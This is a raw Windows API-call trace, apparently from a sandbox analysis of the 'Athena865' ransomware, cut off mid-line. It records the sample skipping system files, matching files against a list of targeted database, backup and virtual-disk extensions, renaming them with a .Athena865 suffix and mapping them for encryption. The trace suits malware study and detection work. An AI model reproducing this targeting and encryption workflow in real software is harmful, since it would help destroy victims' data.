[0086.078] lstrcmpiW (lpString1="THOCRAPI.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.078] lstrcmpiW (lpString1="THOCRAPI.DLL", lpString2=".") returned 1 [0086.078] lstrcmpiW (lpString1="THOCRAPI.DLL", lpString2="..") returned 1 [0086.078] lstrcmpiW (lpString1="THOCRAPI.DLL", lpString2="windows") returned -1 [0086.078] lstrcmpiW (lpString1="THOCRAPI.DLL", lpString2="bootmgr") returned 1 [0086.078] lstrcmpiW (lpString1="THOCRAPI.DLL", lpString2="temp") returned 1 [0086.078] lstrcmpiW (lpString1="THOCRAPI.DLL", lpString2="pagefile.sys") returned 1 [0086.078] lstrcmpiW (lpString1="THOCRAPI.DLL", lpString2="boot") returned 1 [0086.078] lstrcmpiW (lpString1="THOCRAPI.DLL", lpString2="ids.txt") returned 1 [0086.078] lstrcmpiW (lpString1="THOCRAPI.DLL", lpString2="ntuser.dat") returned 1 [0086.078] lstrcmpiW (lpString1="THOCRAPI.DLL", lpString2="perflogs") returned 1 [0086.078] lstrcmpiW (lpString1="THOCRAPI.DLL", lpString2="MSBuild") returned 1 [0086.078] lstrlenW (lpString="THOCRAPI.DLL") returned 12 [0086.078] lstrcpyW (in: lpString1=0x241e89e, lpString2="THOCRAPI.DLL" | out: lpString1="THOCRAPI.DLL") returned="THOCRAPI.DLL" [0086.078] lstrlenW (lpString="THOCRAPI.DLL") returned 12 [0086.078] lstrlenW (lpString="Athena865") returned 9 [0086.078] lstrcmpiW (lpString1="CRAPI.DLL", lpString2="Athena865") returned 1 [0086.078] lstrlenW (lpString=".dll") returned 4 [0086.078] lstrcmpiW (lpString1="THOCRAPI.DLL", lpString2=".dll") returned 1 [0086.078] lstrlenW (lpString=".lnk") returned 4 [0086.078] lstrcmpiW (lpString1="THOCRAPI.DLL", lpString2=".lnk") returned 1 [0086.078] lstrlenW (lpString=".ini") returned 4 [0086.078] lstrcmpiW (lpString1="THOCRAPI.DLL", lpString2=".ini") returned 1 [0086.078] lstrlenW (lpString=".sys") returned 4 [0086.078] lstrcmpiW (lpString1="THOCRAPI.DLL", lpString2=".sys") returned 1 [0086.078] lstrlenW (lpString="THOCRAPI.DLL") returned 12 [0086.078] lstrlenW (lpString="bak") returned 3 [0086.078] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0086.078] lstrlenW (lpString="ba_") returned 3 [0086.078] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0086.078] lstrlenW (lpString="dbb") returned 3 [0086.079] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0086.079] lstrlenW (lpString="vmdk") returned 4 [0086.079] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0086.079] lstrlenW (lpString="rar") returned 3 [0086.079] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0086.079] lstrlenW (lpString="zip") returned 3 [0086.079] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0086.079] lstrlenW (lpString="tgz") returned 3 [0086.079] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0086.079] lstrlenW (lpString="vbox") returned 4 [0086.079] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0086.079] lstrlenW (lpString="vdi") returned 3 [0086.079] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0086.079] lstrlenW (lpString="vhd") returned 3 [0086.079] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0086.079] lstrlenW (lpString="vhdx") returned 4 [0086.079] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0086.079] lstrlenW (lpString="avhd") returned 4 [0086.079] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0086.079] lstrlenW (lpString="db") returned 2 [0086.079] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0086.079] lstrlenW (lpString="db2") returned 3 [0086.079] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0086.079] lstrlenW (lpString="db3") returned 3 [0086.079] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0086.079] lstrlenW (lpString="dbf") returned 3 [0086.079] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0086.079] lstrlenW (lpString="mdf") returned 3 [0086.079] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0086.079] lstrlenW (lpString="mdb") returned 3 [0086.079] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0086.079] lstrlenW (lpString="sql") returned 3 [0086.080] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0086.080] lstrlenW (lpString="sqlite") returned 6 [0086.080] lstrcmpiW (lpString1="PI.DLL", lpString2="sqlite") returned -1 [0086.080] lstrlenW (lpString="sqlite3") returned 7 [0086.080] lstrcmpiW (lpString1="API.DLL", lpString2="sqlite3") returned -1 [0086.080] lstrlenW (lpString="sqlitedb") returned 8 [0086.080] lstrcmpiW (lpString1="RAPI.DLL", lpString2="sqlitedb") returned -1 [0086.080] lstrlenW (lpString="xml") returned 3 [0086.080] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0086.080] lstrlenW (lpString="$er") returned 3 [0086.080] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0086.080] lstrlenW (lpString="4dd") returned 3 [0086.080] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0086.080] lstrlenW (lpString="4dl") returned 3 [0086.080] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0086.080] lstrlenW (lpString="^^^") returned 3 [0086.080] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0086.080] lstrlenW (lpString="abs") returned 3 [0086.080] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0086.080] lstrlenW (lpString="abx") returned 3 [0086.080] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0086.080] lstrlenW (lpString="accdb") returned 5 [0086.080] lstrcmpiW (lpString1="I.DLL", lpString2="accdb") returned 1 [0086.080] lstrlenW (lpString="accdc") returned 5 [0086.080] lstrcmpiW (lpString1="I.DLL", lpString2="accdc") returned 1 [0086.080] lstrlenW (lpString="accde") returned 5 [0086.080] lstrcmpiW (lpString1="I.DLL", lpString2="accde") returned 1 [0086.080] lstrlenW (lpString="accdr") returned 5 [0086.080] lstrcmpiW (lpString1="I.DLL", lpString2="accdr") returned 1 [0086.080] lstrlenW (lpString="accdt") returned 5 [0086.080] lstrcmpiW (lpString1="I.DLL", lpString2="accdt") returned 1 [0086.080] lstrlenW (lpString="accdw") returned 5 [0086.080] lstrcmpiW (lpString1="I.DLL", lpString2="accdw") returned 1 [0086.080] lstrlenW (lpString="accft") returned 5 [0086.081] lstrcmpiW (lpString1="I.DLL", lpString2="accft") returned 1 [0086.081] lstrlenW (lpString="adb") returned 3 [0086.081] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0086.081] lstrlenW (lpString="adb") returned 3 [0086.081] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0086.081] lstrlenW (lpString="ade") returned 3 [0086.081] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0086.081] lstrlenW (lpString="adf") returned 3 [0086.081] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0086.081] lstrlenW (lpString="adn") returned 3 [0086.081] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0086.081] lstrlenW (lpString="adp") returned 3 [0086.081] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0086.081] lstrlenW (lpString="alf") returned 3 [0086.081] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0086.081] lstrlenW (lpString="ask") returned 3 [0086.081] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0086.081] lstrlenW (lpString="btr") returned 3 [0086.081] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0086.081] lstrlenW (lpString="cat") returned 3 [0086.081] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0086.081] lstrlenW (lpString="cdb") returned 3 [0086.081] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0086.081] lstrlenW (lpString="ckp") returned 3 [0086.081] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0086.081] lstrlenW (lpString="cma") returned 3 [0086.081] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0086.081] lstrlenW (lpString="cpd") returned 3 [0086.081] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0086.081] lstrlenW (lpString="dacpac") returned 6 [0086.081] lstrcmpiW (lpString1="PI.DLL", lpString2="dacpac") returned 1 [0086.081] lstrlenW (lpString="dad") returned 3 [0086.081] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0086.082] lstrlenW (lpString="dadiagrams") returned 10 [0086.082] lstrcmpiW (lpString1="OCRAPI.DLL", lpString2="dadiagrams") returned 1 [0086.082] lstrlenW (lpString="daschema") returned 8 [0086.082] lstrcmpiW (lpString1="RAPI.DLL", lpString2="daschema") returned 1 [0086.082] lstrlenW (lpString="db-journal") returned 10 [0086.082] lstrcmpiW (lpString1="OCRAPI.DLL", lpString2="db-journal") returned 1 [0086.082] lstrlenW (lpString="db-shm") returned 6 [0086.082] lstrcmpiW (lpString1="PI.DLL", lpString2="db-shm") returned 1 [0086.082] lstrlenW (lpString="db-wal") returned 6 [0086.082] lstrcmpiW (lpString1="PI.DLL", lpString2="db-wal") returned 1 [0086.082] lstrlenW (lpString="dbc") returned 3 [0086.082] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0086.082] lstrlenW (lpString="dbs") returned 3 [0086.082] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0086.082] lstrlenW (lpString="dbt") returned 3 [0086.082] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0086.082] lstrlenW (lpString="dbv") returned 3 [0086.082] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0086.082] lstrlenW (lpString="dbx") returned 3 [0086.082] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0086.082] lstrlenW (lpString="dcb") returned 3 [0086.082] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0086.082] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0086.082] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0086.082] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0086.083] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\THOCRAPI.DLL.Athena865") returned 65 [0086.083] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\THOCRAPI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\thocrapi.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\THOCRAPI.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\thocrapi.dll.athena865"), dwFlags=0x1) returned 1 [0086.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\THOCRAPI.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\thocrapi.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.088] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=35160) returned 1 [0086.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.088] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.089] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.089] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.089] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8c60, lpName=0x0) returned 0x154 [0086.091] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8c60) returned 0x100000 [0086.104] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.104] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.104] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.105] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0086.105] CloseHandle (hObject=0x154) returned 1 [0086.106] CloseHandle (hObject=0x17c) returned 1 [0086.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.106] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0b43200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x195780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TIMESOLN.DLL", cAlternateFileName="")) returned 1 [0086.106] lstrcmpiW (lpString1="TIMESOLN.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.106] lstrcmpiW (lpString1="TIMESOLN.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.106] lstrcmpiW (lpString1="TIMESOLN.DLL", lpString2=".") returned 1 [0086.106] lstrcmpiW (lpString1="TIMESOLN.DLL", lpString2="..") returned 1 [0086.106] lstrcmpiW (lpString1="TIMESOLN.DLL", lpString2="windows") returned -1 [0086.106] lstrcmpiW (lpString1="TIMESOLN.DLL", lpString2="bootmgr") returned 1 [0086.106] lstrcmpiW (lpString1="TIMESOLN.DLL", lpString2="temp") returned 1 [0086.106] lstrcmpiW (lpString1="TIMESOLN.DLL", lpString2="pagefile.sys") returned 1 [0086.106] lstrcmpiW (lpString1="TIMESOLN.DLL", lpString2="boot") returned 1 [0086.106] lstrcmpiW (lpString1="TIMESOLN.DLL", lpString2="ids.txt") returned 1 [0086.106] lstrcmpiW (lpString1="TIMESOLN.DLL", lpString2="ntuser.dat") returned 1 [0086.106] lstrcmpiW (lpString1="TIMESOLN.DLL", lpString2="perflogs") returned 1 [0086.106] lstrcmpiW (lpString1="TIMESOLN.DLL", lpString2="MSBuild") returned 1 [0086.106] lstrlenW (lpString="TIMESOLN.DLL") returned 12 [0086.106] lstrcpyW (in: lpString1=0x241e89e, lpString2="TIMESOLN.DLL" | out: lpString1="TIMESOLN.DLL") returned="TIMESOLN.DLL" [0086.107] lstrlenW (lpString="TIMESOLN.DLL") returned 12 [0086.107] lstrlenW (lpString="Athena865") returned 9 [0086.107] lstrcmpiW (lpString1="ESOLN.DLL", lpString2="Athena865") returned 1 [0086.107] lstrlenW (lpString=".dll") returned 4 [0086.107] lstrcmpiW (lpString1="TIMESOLN.DLL", lpString2=".dll") returned 1 [0086.107] lstrlenW (lpString=".lnk") returned 4 [0086.107] lstrcmpiW (lpString1="TIMESOLN.DLL", lpString2=".lnk") returned 1 [0086.107] lstrlenW (lpString=".ini") returned 4 [0086.107] lstrcmpiW (lpString1="TIMESOLN.DLL", lpString2=".ini") returned 1 [0086.107] lstrlenW (lpString=".sys") returned 4 [0086.107] lstrcmpiW (lpString1="TIMESOLN.DLL", lpString2=".sys") returned 1 [0086.107] lstrlenW (lpString="TIMESOLN.DLL") returned 12 [0086.107] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\TIMESOLN.DLL.Athena865") returned 65 [0086.107] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TIMESOLN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\timesoln.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TIMESOLN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\timesoln.dll.athena865"), dwFlags=0x1) returned 1 [0086.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TIMESOLN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\timesoln.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.118] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1660800) returned 1 [0086.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.118] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.119] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.119] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.119] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x195a80, lpName=0x0) returned 0x154 [0086.121] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x195a80) returned 0x2d50000 [0086.216] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.216] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.216] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.217] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0086.231] CloseHandle (hObject=0x154) returned 1 [0086.231] CloseHandle (hObject=0x17c) returned 1 [0086.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.238] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd67f2aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x14380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TLIMPT.EXE", cAlternateFileName="")) returned 1 [0086.238] lstrcmpiW (lpString1="TLIMPT.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.238] lstrcmpiW (lpString1="TLIMPT.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.238] lstrcmpiW (lpString1="TLIMPT.EXE", lpString2=".") returned 1 [0086.238] lstrcmpiW (lpString1="TLIMPT.EXE", lpString2="..") returned 1 [0086.238] lstrcmpiW (lpString1="TLIMPT.EXE", lpString2="windows") returned -1 [0086.238] lstrcmpiW (lpString1="TLIMPT.EXE", lpString2="bootmgr") returned 1 [0086.238] lstrcmpiW (lpString1="TLIMPT.EXE", lpString2="temp") returned 1 [0086.238] lstrcmpiW (lpString1="TLIMPT.EXE", lpString2="pagefile.sys") returned 1 [0086.238] lstrcmpiW (lpString1="TLIMPT.EXE", lpString2="boot") returned 1 [0086.238] lstrcmpiW (lpString1="TLIMPT.EXE", lpString2="ids.txt") returned 1 [0086.238] lstrcmpiW (lpString1="TLIMPT.EXE", lpString2="ntuser.dat") returned 1 [0086.238] lstrcmpiW (lpString1="TLIMPT.EXE", lpString2="perflogs") returned 1 [0086.238] lstrcmpiW (lpString1="TLIMPT.EXE", lpString2="MSBuild") returned 1 [0086.238] lstrlenW (lpString="TLIMPT.EXE") returned 10 [0086.238] lstrcpyW (in: lpString1=0x241e89e, lpString2="TLIMPT.EXE" | out: lpString1="TLIMPT.EXE") returned="TLIMPT.EXE" [0086.238] lstrlenW (lpString="TLIMPT.EXE") returned 10 [0086.239] lstrlenW (lpString="Athena865") returned 9 [0086.239] lstrcmpiW (lpString1="LIMPT.EXE", lpString2="Athena865") returned 1 [0086.239] lstrlenW (lpString=".dll") returned 4 [0086.239] lstrcmpiW (lpString1="TLIMPT.EXE", lpString2=".dll") returned 1 [0086.239] lstrlenW (lpString=".lnk") returned 4 [0086.239] lstrcmpiW (lpString1="TLIMPT.EXE", lpString2=".lnk") returned 1 [0086.239] lstrlenW (lpString=".ini") returned 4 [0086.239] lstrcmpiW (lpString1="TLIMPT.EXE", lpString2=".ini") returned 1 [0086.239] lstrlenW (lpString=".sys") returned 4 [0086.239] lstrcmpiW (lpString1="TLIMPT.EXE", lpString2=".sys") returned 1 [0086.239] lstrlenW (lpString="TLIMPT.EXE") returned 10 [0086.239] lstrlenW (lpString="bak") returned 3 [0086.239] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0086.239] lstrlenW (lpString="ba_") returned 3 [0086.239] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0086.239] lstrlenW (lpString="dbb") returned 3 [0086.239] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0086.239] lstrlenW (lpString="vmdk") returned 4 [0086.239] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0086.239] lstrlenW (lpString="rar") returned 3 [0086.240] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0086.240] lstrlenW (lpString="zip") returned 3 [0086.240] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0086.240] lstrlenW (lpString="tgz") returned 3 [0086.240] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0086.240] lstrlenW (lpString="vbox") returned 4 [0086.240] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0086.240] lstrlenW (lpString="vdi") returned 3 [0086.240] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0086.240] lstrlenW (lpString="vhd") returned 3 [0086.240] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0086.240] lstrlenW (lpString="vhdx") returned 4 [0086.240] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0086.240] lstrlenW (lpString="avhd") returned 4 [0086.240] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0086.240] lstrlenW (lpString="db") returned 2 [0086.240] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0086.240] lstrlenW (lpString="db2") returned 3 [0086.240] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0086.240] lstrlenW (lpString="db3") returned 3 [0086.240] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0086.240] lstrlenW (lpString="dbf") returned 3 [0086.240] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0086.240] lstrlenW (lpString="mdf") returned 3 [0086.240] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0086.240] lstrlenW (lpString="mdb") returned 3 [0086.240] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0086.240] lstrlenW (lpString="sql") returned 3 [0086.240] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0086.240] lstrlenW (lpString="sqlite") returned 6 [0086.240] lstrcmpiW (lpString1="PT.EXE", lpString2="sqlite") returned -1 [0086.240] lstrlenW (lpString="sqlite3") returned 7 [0086.241] lstrcmpiW (lpString1="MPT.EXE", lpString2="sqlite3") returned -1 [0086.241] lstrlenW (lpString="sqlitedb") returned 8 [0086.241] lstrcmpiW (lpString1="IMPT.EXE", lpString2="sqlitedb") returned -1 [0086.241] lstrlenW (lpString="xml") returned 3 [0086.241] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0086.241] lstrlenW (lpString="$er") returned 3 [0086.241] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0086.241] lstrlenW (lpString="4dd") returned 3 [0086.241] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0086.241] lstrlenW (lpString="4dl") returned 3 [0086.241] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0086.241] lstrlenW (lpString="^^^") returned 3 [0086.241] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0086.241] lstrlenW (lpString="abs") returned 3 [0086.241] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0086.241] lstrlenW (lpString="abx") returned 3 [0086.241] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0086.241] lstrlenW (lpString="accdb") returned 5 [0086.241] lstrcmpiW (lpString1="T.EXE", lpString2="accdb") returned 1 [0086.241] lstrlenW (lpString="accdc") returned 5 [0086.241] lstrcmpiW (lpString1="T.EXE", lpString2="accdc") returned 1 [0086.241] lstrlenW (lpString="accde") returned 5 [0086.241] lstrcmpiW (lpString1="T.EXE", lpString2="accde") returned 1 [0086.241] lstrlenW (lpString="accdr") returned 5 [0086.241] lstrcmpiW (lpString1="T.EXE", lpString2="accdr") returned 1 [0086.241] lstrlenW (lpString="accdt") returned 5 [0086.241] lstrcmpiW (lpString1="T.EXE", lpString2="accdt") returned 1 [0086.241] lstrlenW (lpString="accdw") returned 5 [0086.241] lstrcmpiW 